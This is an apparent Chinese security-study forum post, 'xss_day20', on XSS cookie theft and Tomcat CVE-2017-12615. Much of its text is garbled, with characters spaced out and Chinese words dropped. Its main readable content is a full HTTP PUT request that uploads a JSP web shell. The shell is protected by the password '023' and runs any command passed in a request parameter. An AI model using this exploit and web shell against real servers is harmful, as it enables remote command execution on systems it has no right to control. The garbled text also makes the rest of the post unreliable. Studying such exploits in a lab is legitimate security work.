[1989] 2021-08-09_xss_day20

文档创建者:s7ckTeam
浏览次数:7
最后更新:2025-01-16
2021-08-09_xss_day20 x s s _ d a y 2 0   D e m 0   2 0 2 1 - 0 8 - 0 9 x s s                           o r             u r l   c o o k i e ( s e s s i o n )       x s s         p o s t m a n       b u r p s u i t e                                                               C V E - 2 0 1 7 - 1 2 6 1 5 : d o c k e r
  I P 访 访 b u r p s u i t e

P U T   / 3 . j s p /   H T T P / 1 . 1 H o s t :   1 9 2 . 1 6 8 . 1 4 9 . 1 2 8 : 8 0 8 0 A c c e p t :   * / * A c c e p t - L a n g u a g e :   e n U s e r - A g e n t :   M o z i l l a / 5 . 0   ( c o m p a t i b l e ;   M S I E   9 . 0 ;   W i n d o w s   N T   6 . 1 ;   W i n 6 4 ;   x 6 4 ;   T r i d e n t / 5 . 0 ) C o n n e c t i o n :   c l o s e C o n t e n t - T y p e :   a p p l i c a t i o n / x - w w w - f o r m - u r l e n c o d e d C o n t e n t - L e n g t h :   3 7 6 < %         i f ( " 0 2 3 " . e q u a l s ( r e q u e s t . g e t P a r a m e t e r ( " p w d " ) ) ) {                 j a v a . i o . I n p u t S t r e a m   i n   =   R u n t i m e . g e t R u n t i m e ( ) . e x e c ( r e q u e s t . g e t P a r a m e t e r ( " i " ) ) . g e t I n p u t S t r e a m ( ) ;                 i n t   a   =   - 1 ;                 b y t e [ ]   b   =   n e w   b y t e [ 2 0 4 8 ] ;                 o u t . p r i n t ( " < p r e > " ) ;                 w h i l e ( ( a = i n . r e a d ( b ) ) ! = - 1 ) {                         o u t . p r i n t l n ( n e w   S t r i n g ( b ) ) ;                 }                 o u t . p r i n t ( " < / p r e > " ) ;         } % > u r l 访
E N D
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则